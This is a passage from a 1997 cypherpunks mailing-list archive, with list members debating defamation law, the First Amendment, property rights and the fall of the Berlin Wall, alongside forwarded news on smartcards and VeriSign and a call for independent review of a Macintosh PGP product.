>> substantially limits the number of suits which will be brought.
>
>Thank you for agreeing with my thesis that the legal industry is one
>driven by monetary gain and not justice. It is the one major problem
>with law today, it ignores those who are not 'worth it'. Justice is
>supposed to be blind and until that happens there can be no true
>liberty. Law should be involved in rights and wrongs and not 'how much
>money do I need to buy that villa in Spain'.

Um, I was making the reciprocal of your point - that people with no assets
have a special *advantage* with respect to civil suits, they're able to get
away with a fair amount of misbehavior because it's not cost-effective for
plaintiffs to sue them. If you're a defendant, being ignored as not 'worth
it' is a good thing, not a bad thing.

>There is also the aspect of 'reputation' of the organization which was
>defamed. This will become even more critical to good business over the
>Internet in the future than it is now. Now the only really important
>'reputation' that one has to worry about is their credit report.

I disagree strongly here. Think about the reputations of Odwalla and
Sizzler and (Burger King? can't remember) after their E. Coli problems.
Think about the reputation of Radio Shack for making mostly crappy
products. Think about the reputation of some ISP's (Netcom, AOL) for
continuing to charge people's credit cards for months after a cancellation.
Reputation has many dimensions beyond credit reports. 

> Another aspect of this
>that keeps coming up is one of 'big' corporations with 'lots' of money,
>this monotonicity in legal thought is the reason I refer to the 'legal
>industry' and not 'legal profession'. Currently the main force driving
>law is how much money is available. Expansions of liberty simply can't
>happen in this environment because there is no mechanism to protect
>'little' organizations or persons without 'lots' of cash. This problem is
>one that is not being addressed by anyone, most especialy lawyers who
>will loose income which they aren't apt to do voluntarily.

I agree that people get screwed because they can't afford to litigate or
they can't afford a [good] attorney. But I think that the economic
dimension to litigation is not necessarily all bad - if litigation were
costless, what would prevent people from suing over essentially negligible
disputes? I think it's good for people to stop and ask themselves "Is this
dispute really worth fighting over?" The relatively high cost of litigation
is a way to ration access to a relatively expensive resource, e.g., the
courts. If litigants don't pay that cost, then taxpayers will. (And
shifting more costs to losing litigants makes it easier, not harder, to be
effectively judgment-proof by having few assets.)

>> Criminal prosecutions for defamation (in the case of "graffiti") are still
>> unlikely - a much more straightforward charge would be unauthorized access
>> to a computer or some flavor of fraud, depending on the facts.
>
>This would be hard to do in the situation such as a mailing list because
>the parties would have 'authorized access' and it does not include the issue
>of inside parties nor 'web bbs's' where parties can enter comments and
>other statements in a 'authorized' manner. There are mechanisms to use 
>computers for abuse of other parties besides hacking.

I don't think that that web BBS or mailing list messages alone will lead to
much criminal liability for defamation because I think it's difficult to do
a lot of harm in that medium. BBS's have existed for 20+ years now - and
how many online defamation cases have we seen? Maybe 10, total. Off the top
of my head the only ones I remember are _Cubby v. Compuserve_ and
_Stratton-Oakmont_, but there are probably others. Still, we're seeing
what, at best one reported case for every 2 years? Online defamation
liability exists, but I don't think there's ever going to be an avalanche
of cases, simply because the damage involved tends to be relatively small
compared to the monetary and emotional costs of litigation. 

>The point is that if joe-six-pack isn't secure in knowing that his views
>and expression are not protected from abuse he won't use it. We all loose
>in that case.

But Joe Sixpack's lack of protection from abuse is also Joe Sixpack's
protection from prosecution when he hasn't done anything wrong. Look at how
pissed off some people are when Sandy moderates the list - imagine how much
worse it would be if prosecutors were sifting through the list, identifying
messages they thought were "over the line" with respect to defamation and
then prosecuting the wrongdoers. Yow. Some people would be facing
three-strikes minimums based on a single day's messages. :)

I much prefer a world where we can engage in spirited debate without being
afraid of prosecution (or civil suits) over a world where a tiny misstep
means jail or litigation. You're of course free to want something else, but
it's hard for me to see the logic behind arguing against private moderation
but in favor of significant state regulation. 

Look at the way that big corporations use SLAPP suits to pick on Ma and Pa
Kettle now, and imagine what big corporations could do if it was easier to
create criminal liability for defamation. I think your proposed
strengthening of defamation rules will prove to hurt the "little guys", not
help them. 

>In this example, if party A makes a statement and then B changes it and
>then re-distributes it as original comments by A then there is a problem
>irrespective of the monetary worth of A or B. Digital signatures in and of
>themselves won't help this from happening unless it is required to include
>the full text and signature of any quote in any subsequent use of that
>material otherwise the quote and the digital signature are out of sync and
>therefore worthless.

But people who receive the message unsigned know they're getting an
unsigned message (or know that it was signed by the quoter, but not the
quoted author) and can make the appropriate assumptions about the truth of
the attributions, and adjust their assessment of the veracity of the quoter
if it turns out that the quoter is a liar, or if someone challenges the
quoter to produce a signed version of the statement and they cannot.

We seem to have survived OK so far without special rules to punish people
for lying - why do we need special ones for the Net? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 06:56:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199701291456.GAA03369@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> 
> can any kind soul tell me, what are the SAT scores needed to be in
> the top 10%, top 1%, and top 0.1% of all the students who take these
> tests?

I'm not sure what this has to do with, well, anything, but here goes.

Scores from before April 1995 are not comparable to scores today because 
the method of scoring has changed to recenter the distribution. The 99th 
percentile starts at 1440 for women and 1490 for men. Full stats at
http://www.collegeboard.org/sat/html/topsrs29.html

Please note that this is for "college-bound seniors." It's not a stat 
that applies to the general population (i.e., 1490+ is the top 1% of the 
elite 30% or so that go to college), and it doesn't include people who 
were satisfied with the score they got the beginning of their junior 
year, and didn't take it again (i.e., me).

I don't know about MIT, but I'd think that their numbers would be even 
higher than those for Stanford, because MIT doesn't recruit football 
players. Some of Stanford's numbers are at 
http://www-portfolio.stanford.edu/105549

MIT and the like aren't impossible. Fucking elitist, yes. Worth it? 
Probably, though two of my closest and most intelligent friends have no 
college degrees at all. Of course, they had to earn people's respect, 
whereas I had people recruiting me based largely on the fact that I 
still had a pulse five years after taking the SAT. What counts is what 
people want you to do five years after that.

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 01:25:50 -0800 (PST)
To: dthorn@gte.net
Subject: Re: [noise] RE: Shave the Whales
Message-ID: <199701290925.BAA25538@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Mullen, Patrick wrote:
> > Is there a way we can keep the caricatures w/out getting the rest of the
> > message
> > w/ these postings?  I like the ASCII art, but...
> 
> BTW, some of the recent ones are pretty amazing: a bat, a scorpion,
> a cow, etc.

  Maybe we could have the original cypherpunks list saved as an
historical ASCII arts treasure.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 06:56:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: East German Collapse (Was: Fighting the cybercensor
Message-ID: <199701291456.GAA03370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> 
> One point I had forgotten. The demonstration took place
> on the 50th anniversary of Kristallnacht. This is one explanation
> as to why the border guards did not attempt to open fire with
> firearms or attempt to break up the demonstration with tear gas.

I think the timing was a coincidence. (And I'm told that Kristallnacht 
wasn't well advertised in East Germany; especially after the Soviets 
sided the United Arab Republic, the official story was that Hitler had 
been exterminating good Communists, not Jews.) While the final week was 
pretty spectacular, the demonstrations and defections had been building 
for months, as you say:

> The mass defections were taking place at their peak at a rate of
> tens of thousands in a day. Something like a quarter of the youth
> between 18 and 25 had defected. Bill if anything understates this
> point.

I wasn't there, but an East German friend of mine was 20 when the wall 
came down. He was doing his compulsory military service at the time. 
Even in early 1987, as he was being interviewed by the Stasi concerning 
the direction the state would allow him to take his life, he says he 
felt no real fear telling them, up front, "Sure, I'll carry a gun, and 
I'll go where you tell me to go, but I will not hurt anyone."

They gave him a gun and put him on the front, where he waved to his 
friends as they walked across the border.

I think a lot of the border guards were like Thomas.

> I think that the spending into bankrupcy thesis might be argued for
> the case of the USSR and more plausibly the US. The problem is that
> I don't think that the military spending in either case bore any
> relation to need, to the threat from the other side or to any
> rational determination. I think both budgets simply increased to
> the limit that the economies could support and beyond.
> 
> There is a similar problem in the third world today. Many third world
> countries spend more on arms than they do on health or education.
> Much of the alledged "foreign aid" is in fact subsidies for this
> trade. The arms are primarily to suppress internal dissent. There
> are plenty of governments left in need of similar reform.

Yeah, yeah. Economics has soomething to do with it. But I think it comes 
down to "Sure, I'll carry a gun, and I'll go where you tell me to go, 
but I will not hurt anyone." Ideas matter.

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 06:55:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: AltaVista sprouts a hole ...
Message-ID: <199701291455.GAA03313@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Yes, I mentioned that here and in comp.org.eff.talk a couple weeks ago.
No need to turn images off. Just tell AltaVista you want text-only:

 http://altavista.digital.com/cgi-bin/query?pg=&text=yes

You may also find the text-only page a hell of a lot faster.

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Wed, 29 Jan 1997 06:57:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Best Computer School?
Message-ID: <199701291457.GAA03377@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh wrote:
> 
> Let me plug Carnegie Mellon University, which consistently ties with
> MIT and one of them California schools for first place in computer
> science.

You must be joking. After all you've said about the school, you're 
recommending it? Isn't "Mr. L-18 Tag" the head of the department now?

Anyway, our correspondent is asking the wrong question. There is no 
"best" school. If you want to be a brilliant programmer, I think you 
have to be born that way. If you want theory, you need to be specific 
about your research interests. If you want mass-marketable experience in 
Windoze, avoid the big-name schools, which tend to treat Windows with 
the respect is deserves. (At Stanford, despite having a very nice Paul 
Allen Center for Integrated Systems and a posh new Bill Gates 
Information Sciences building, all instruction is done in Think C or 
UNIX.)

-rich





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@replay.com>
Date: Tue, 28 Jan 1997 19:00:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto verification needed for Pretty Safe Mail
Message-ID: <199701290300.TAA15110@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


There have been questions raised on the newsgroups regarding
Pretty Safe Mail, arguably the best implementation of a PGP product
for the Macintosh.

In response, the product manager at Highware has requested that
a trusted third party verify the security of Pretty Safe Mail. However,
a NON-U.S. cryptologer is needed.

I'm including the post below. Please forward to any people you know
who may qualify.

Pretty Safe Mail is a GREAT product. If it can be shown to be safe
and effective, it will do wonders to spread the use of strong crypto.

=====

From: axel@highware.com (Axel de Landtsheer)
Newsgroups: comp.security.pgp.discuss
Subject: Re: Concerned about Pretty Safe Mail for Mac


>  I'm concerned about the product "Pretty Safe Mail" for the Macintosh,
>by a company called Highware. I was wondering whether anyone here had
>tried evaluating it at all.
>
>  It is a complete PGP implementation (not a front-end). They claim
>to have licensed some of PRZ's code from PGP. However, as far as I
>can tell, they are not making any of the source code available.

The source code for PSM is indeed not available. We are however eager to
have the code checked by any trusted source. These sources cannot be US
companies because of the new US regulations which state that US companies
must not give such support to overseas companies. Us being a Belgian
company, this makes things a little more difficult. Does anybody have a
suggestion for such a trusted source outside the US?

>  As someone on the comp.security.pgp newsgroups pointed out, writing
>a wonderful user interface on a PGP trojan horse that either crippled
>the session key generator or used the session key to leak random
>portions of secret key primes would be a perfect tactic for a
>government wishing to penetrate PGP security. With such a great
>interface, compared to the original PGP, it can't help but become
>widely used.

PSM is not a Trojan Horse. Does any trusted source want to check that?

>  I realize that without the source code, it's a major hassle, but
>has anyone looked at Pretty Safe Mail (previously called Safemail)
>at all for suspicious behavior? For example:
>
>  1) non-random session key generation?
>  2) non-random key pair generation?
>  3) unnecessary disk access to secret keys?
>  4) anything else?

Many people are worried about the random-key generation because they do not
need to bang away on the keyboard for five minutes when they create a key
pair. Apparently, this seems to loosen their nerves (I heard some people
created about 10 key pairs a day - just a joke).
In short, we use all events that happen on the Mac (clicks, typing, opening
of windows, display of icons, ...) together with the time they happen, and
encrypt these to fill a table which is the starting point for the
random-number generator. Why make people type away on the keyboard if you
have enough random events to start from?

Again, we want to have this checked by a trusted source asap...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Axel de Landtsheer | Highware, Inc.
                   | 109 av. H. Jaspar, 1060 Brussels, Belgium
Product Manager    | voice: +32 2 537-6810 fax: +32 2 537-5155
axel@highware.com  | http://www.highware.com, ftp://ftp.highware.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
To obtain my PGP key, send me a message with subject "Send PGP key"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 29 Jan 1997 06:56:37 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701291456.GAA03371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow allegedly said:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > 
> > Its worth noting that the origin of property is theft. In the case of the
> 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

He was making a slightly more subtle point, I believe, though fallacious 
just the same.  It is clear that "ownership" or "property rights" are 
constructs of society.  That is, property rights are rights conferred 
on the individual by the society.  For example, if society determines 
that you don't own your house, then you don't own it.  Contrariwise, if 
you are alone on a desert island you "own" whatever you say you own, 
since at that point you are a society of one -- you want the Milky 
Way -- it's yours -- you just grant yourself full rights and title to 
it.  So the origin of property isn't theft, and it isn't labor -- 
it's whatever society says it is.

Of course, "society" is not a monolith, and it may be at odds with itself.

> I work, and as the result of that work something is
> created. That something is MINE to do with as I will. If I choose to sell that
> work for money, that money is mine. If I trade that money for shoes, those 
> shoes are mine. THere is no theft involved.

Possession of objects like shoes is of no consequence -- they 
aren't the kind of propert that is at issue.  Land is the fundamental 
property item.  Arguably every piece of land in the world has been 
stolen from someone at one time or another.

> > controllers of China literally so since they stole most of their "property"
> > from the previous rulers.
> 
>      They "won" it in combat. 

Therefore, if I beat you over the head with a crowbar and take your 
shoes, it is not theft, but merely the spoils of war.  That's 
convenient for those with big crowbars.

> The people of china obviously prefered new 
> government to the old one, or they would have prevented the takeover. 

What a crock.  Obviously, by your reasoning, every murder victim must 
secretly have preferred death, otherwise they would have prevented it.

> > I believe that the relationship between a state and individual is
> > a much more complex one than the slavish subjection model
> > you propose. In this I am in agreement with practically every
> > philosopher since Locke.
> 
>      Practically every philosopher since Locke has recieved their education
> at a Government or "Elite" sponsored school, and made their livings the same 
> way. I'm not claiming conspiracy here, but those that feed at the trough 
> aren't going to insult it overmuch.

Like you, for example?  You are feeding at the trough of society just 
as much as anyone else.  You wouldn't be on the net, otherwise.

But I agree, citing "every philosopher since Locke" is bogus.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 06:58:19 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Libel & the 1st Amendment
Message-ID: <199701291458.GAA03384@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:42 PM 1/28/97 -0600, Jim Choate wrote:

>It has been asserted by at least one member that the 1st Amendment protects
>libelous or other defamatory speech. 

Defamation is not protected by the First Amendment; but the First Amendment
limits the application of defamation law in many circumstances. For
example, the First Amendment requires plaintiffs to prove "actual malice"
if they are a public official, public figure, or a private person seeking
punitive damages.

So if you want to think of defamatory statements as those which are false
and injurious to someone's reputation, yes, the First Amendment protects
some of them. (By definition, defamation is outside the protection of the
First Amendment, but I get the impression that you're not trying to use it
as a term of art.) 

>This is hokem. The 1st most certainly does not protect lies in any form.

The First Amendment protects some lies. As Justice Powell wrote for the
majority in _Gertz v. Robert Welch_, 418 U.S. 323, 339 (1974):

"Under the First Amendment, there is no such thing as a false idea. However
pernicious an opinion may seem, we depend for its correction not on the
conscience of judges and juries, but on the competition of other ideas. But
there is no constitutional value in false statements of fact. Neither the
intentional lie nor the careless error materially advances society's
interest in "uninhibited, robust, and wide-open" debate on public issues.
New York Times Co. v. Sullivan, 376 U.S. at  270. They belong to that
category of utterances which "are no essential part of any exposition of
ideas, and are of such slight social value as a step to truth that any
benefit that may be derived from them is clearly outweighed by the social
interest in order and morality." Chaplinsky v. New Hampshire, 315 U.S. 568,
572 (1942).

"Although the erroneous statement of fact is not worthy of constitutional
protection, it is nevertheless inevitable in free debate. As James Madison
pointed out in the Report on the Virginia Resolutions of 1798: "Some degree
of abuse is inseparable from the proper use of every thing; and in no
instance is this more true than in that of the press." 4 J. Elliot, Debates
on the Federal Constitution of 1787, p. 571 (1876). And punishment of error
runs the risk of inducing a cautious and restrictive exercise of the
constitutionally guaranteed freedoms of speech and press. Our decisions
recognize that a rule of strict liability that compels a publisher or
broadcaster to guarantee the accuracy of his factual assertions may lead to
intolerable self-censorship. Allowing the media to avoid liability only by
proving the truth of all injurious statements does not accord adequate
protection to First Amendment liberties. As the Court stated in New York
Times Co. v. Sullivan, supra, at 279: 'Allowance of the defense of truth,
with the burden of proving it on the defendant, does not mean that only
false speech will be deterred.'

"The First Amendment requires that we protect some falsehood in order to
protect speech that matters."

and Justice Brennan, in _NAACP v. Button_ 371 U.S. 415, 444 (1963):

"For the Constitution protects expression and association without regard to
the race, creed, or political or religious affiliation of the members of
the group which invokes its shield, or to the truth, popularity, or social
utility of the ideas and beliefs which are offered."   

So, yes, the First Amendment protects some lies. According to your
hypothesis, the country should be collapsing around us any day now because
of it. Last one out turn off the lights, ok? 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 06:55:59 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701291455.GAA03319@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> 
> Phill wrote:
> > I'm a philosophical anarchist and I don't consider the state to have
> > "rights" over its "subjects", nor do I believe in the pure ideology of
> > property you do.
> > Its worth noting that the origin of property is theft. In the case of the
 
>     BULLSHIT. BULL FUCKING SHIT. The origin of property is labor. Claiming
> that _my_ property is the result of ME stealing, and hence what I OWN belongs
> to the community IS theft.

  "All your private property, is target for your enemies."
                                    Jefferson Airplane






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 16:28:08 -0800 (PST)
To: Cypherpunks <rishab@dxm.org>
Subject: Internet companies demonstrate portable security
Message-ID: <199701290028.QAA08966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(Forward)
Internet companies demonstrate portable security

Six Internet companies have joined forces to develop a joint
demonstration of smartcard technologies at the 1997 RSA Data Security
Conference. Consensus Development Corporation, Gemplus,
Hewlett-Packard, Litronic Inc., Netscape Communications Corporation
and VeriSign, Inc., Monday announced "The Get Smartcard Demo." The
interactive demo will allow each conference attendee to load X509v3
certificates on crypto-enabled smartcards. Participants will interact
with the demo through mutually authenticated SSL connections and
document signing. For the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1274540-213
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Tue, 28 Jan 1997 16:26:28 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Child Porn
Message-ID: <199701290026.QAA08900@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


(Forward)
*** NY student charged with sending child sex photos over Internet

Nathaniel Levy, a psychology major at New York State University, was
charged Wednesday with using the Internet to transmit photos of
infants having sex with adults, the New York state attorney general
said. Levy, who wanted to be a kindergarten teacher, was arrested for
promoting sexual performance of a child. If convicted he could receive
seven years in prison. Levy, whose computer name was "NateTSnake," was
released Wednesday on $20,000 bail. He allegedly transmitted 35
sexually explicit photos of children, some as young as 18 months. For
the full text story, see
http://www.merc.com/stories/cgi/story.cgi?id=1219452-9f3 
-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Multimedia






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 29 Jan 1997 06:56:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: verisign_1.html
Message-ID: <199701291456.GAA03372@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: Kodak Near Deal With Wang - Report
   Next Story: AT&T To Build Business Calling Base
     _________________________________________________________________
                                      
   Tuesday January 28 9:52 AM EST 
   
VeriSign Commercializes New Encryption Standard

   SAN FRANCISCO - VeriSign, hoping to push some recent Internet
   encryption research into use, says it has begun commercializing
   several products based on new industry encryption standards.
   
   First it has taken the Secure Electronic Transactions (SET) standard
   developed last year by an industry group led by Visa and MasterCard
   and started online distribution of digital IDs based on SET to Visa
   customers.
   
   At a conference in San Francisco sponsored by RSA Data Security,
   VeriSign also demonstrated digital ID smart cards using a PC/SC
   standard to get access to Internet sites.
   
   In a partnership with Schlumberger, which also manufactures the smart
   cards, Litronic, which makes readers of smart cards, and Microsoft on
   whose Internet Explorer 3.0 browser the smart cards will work,
   VeriSign showed how the smart cards would be useful for providing
   secure access to restricted Internet sites, or for transactions on the
   Net.
   
   "We are starting to see the industry support this Visa- MasterCard
   initiative with a lot of product efforts," VeriSign Chief Executive
   Stratton Sclavos said about SET.
   
   Smart cards are credit card-shaped plastic cards that hold a microchip
   that endows them with computer intelligence and processing
   capabilities. As officials from VeriSign, Spyrus and others described
   here, an employee would use the smart card to get access from anywhere
   to a corporate network and have all the key personal information as if
   the computer was programmed for that person's use. Likewise, a
   consumer might use the smart card in many different sites to do
   Internet-based transactions from kiosks or ATMs and so on.
   
   Sclavos forecast that Internet transactions requiring security will
   gain consumer acceptance in 1998 or 1999.
   
   He said 1997 will be the year that security apparatus is installed or
   deployed by merchants, banks and other companies. Then once deployed,
   consumers will start using it about a year later.
   
   Security remains a key concern of consumers about electronic commerce
   and Internet transactions, he said.
   
   VeriSign also announced its so-called private label digital ID program
   in which it is making encryption products for large customer-oriented
   companies, like brokerage firms, to distribute to customers for access
   to online accounts.
   
   And it announced a new service for the Electronic Data Interchange
   market that allows EDI to take place over the Internet instead of
   proprietary networks.
   
   Mountain View, Calif-based VeriSign considers itself the leader in
   providing digital certification for Internet access and electronic
   commerce. It has issued digital IDs based on other encryption
   technology it developed to about 500,000 people and on 14,000 Web
   sites, it added.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
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     _________________________________________________________________
                                      
   Previous Story: Kodak Near Deal With Wang - Report
   Next Story: AT&T To Build Business Calling Base
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 06:58:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercen
Message-ID: <199701291458.GAA03383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:dthorn@gte.net to Harka <=-

 > The Cold War was not won by the arms race, it was won in
 > Eastern Europe which was never a major participant. The main
 > instrument that won it was West German TV which broadcast
 > pictures of supermarkets with full shelves into the homes
 > of East Germans every night. The viewers could see that it
 > was not mere propaganda and their relatives confirmed the
 > fact. As a result the East German guards on the Berlin wall
 > simply decided to leave their posts one night.

 In> That's it?  The system collapsed because the guards left their posts?
 In> And no mutiny charges?  Incredible.

Actually not quite right. On November 9th, 1989 the East-German
government established a new law (under pressure from the
demonstrating public), that would allow every East-German to go _up
to_ 30 days/per year to a western country. Visas to do so would be
given out without problems, effective immediately.
At the evening press-conference however, the government speaker
Guenther Schabowskie (can't recall his exact position at that time)
introduced that new law and then he made the BIG error: after
hearing the new provisions of the new travel law, a foreign
journalist stood up and asked him "Does _that_ mean, that every
East-german citizen could right now go to the western border and
gain free entry to West-Germany (or West-Berlin) without problems?"
And my man Guenther was looking desperately in all his papers (funny
as hell! :)) and then, after finding no pre-made answer, he said:
"Yeah, I guess so!"...
After which the journalists sped out and cabeled their
interpretation of the situation: "The wall is open!".

Which in fact was quite a dangerous situation then, cause
East-Germans heard that and actually went to the west-german border
(and West-Berlin as well). The Border-Control guards however were
even less informed then my man Guenther :), with the difference,
that they had the order to shoot in case of "Desertion of the
Republic".
But faced with hundreds of people, who were all talking about some
new travel law, they just shrugged and opened the gates without
being stupid (they after all, were mostly young men in 1 1/2 or 3
year military service/draft, who were normal people just like
everybody else).
In fact, for acting in such a way, a lot of people gave them flowers
and champaigne later on in that wild night of celebration...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunadDltEBIEF0MBAQHw5Af9FTchTTk9/G6Nq/StYwwLv3vt5hFmNUjn
jyS5eDOM2rlh9107Awv4TwdGnV43RlJVKvNSnYUOg+dRiYhysewfyyJ4klmmsTBP
x+9Cn81o1Jqeqp5aovP52YLgdCKUL9l7BOnvQsXzJIJRglj1KC/Hr+5kXWNsyI6l
wN7WSnFPLJ0c+q5QXkkpQfWUj4LwOZItbh+I2Sy+kIdJuhVi66L45oCkJyHwfq2+
SgbuqaGabAGVakOMl53yffuhc6TXKcWcs30Vi2axwqXE//hlwO/NFg/OaoMUz+6i
fJZmUtI33iCpsTtELPZzIqeP7DM13CaZ5u1r4URVWUOdXFDRs9Hytw==
=YiP5
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 29 Jan 1997 06:58:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Trigger-Words...
Message-ID: <199701291458.GAA03382@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> harka@nycmetro.com writes:
 >does anybody know any contact points/Web pages, where I might get
 >some information on e-mail filtering via trigger-words? I am
 >interested in how this technology specifically works and a
 >acollection of trigger-words would be nice too :)

Actually, I might not have chosen the correct words for what I
wanted...
I am looking for sniffer-programs, that analyze e-mail traffic on
the Net and filtering out all e-mails potentially interesting for
_intelligence services_. For example, I've heard, that if an e-mail
contains the words: "assassinate President" (DISCLAIMER: I hope, our
President lives a long and happy life, even after his
impeachment...:)), it will automatically get filtered and checked
out by the Secret Service.
Different intelligence agencies might have similar things in place.
Where could I get some more information about that?

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMunaiDltEBIEF0MBAQHVFAf/TbYVKOSoH4G0GRaHcJJDREUbzkr4nczs
Vi7EMagZci3FRx0atVAkMz4GNwBYCf5CJdnDTIR7tOADs1OamMIRhsGV00r3ZbCB
dAWTKbjKcXHno+Eztmelk9P5F50ryP2B25mjWT2CJDTZqyml6Bhe5AW8K0lSDPfw
AHCGPk701pXB62POXf2rwccQusOFAMaR4X/44xcOdamrWBsKJKaE1Sz/wvzvzxob
7t8Dh7x48oEgMQ68cQz2luZlZlIUzHV3x0npZNetYbEzRTKMEITXfKqzb0iG8pfD
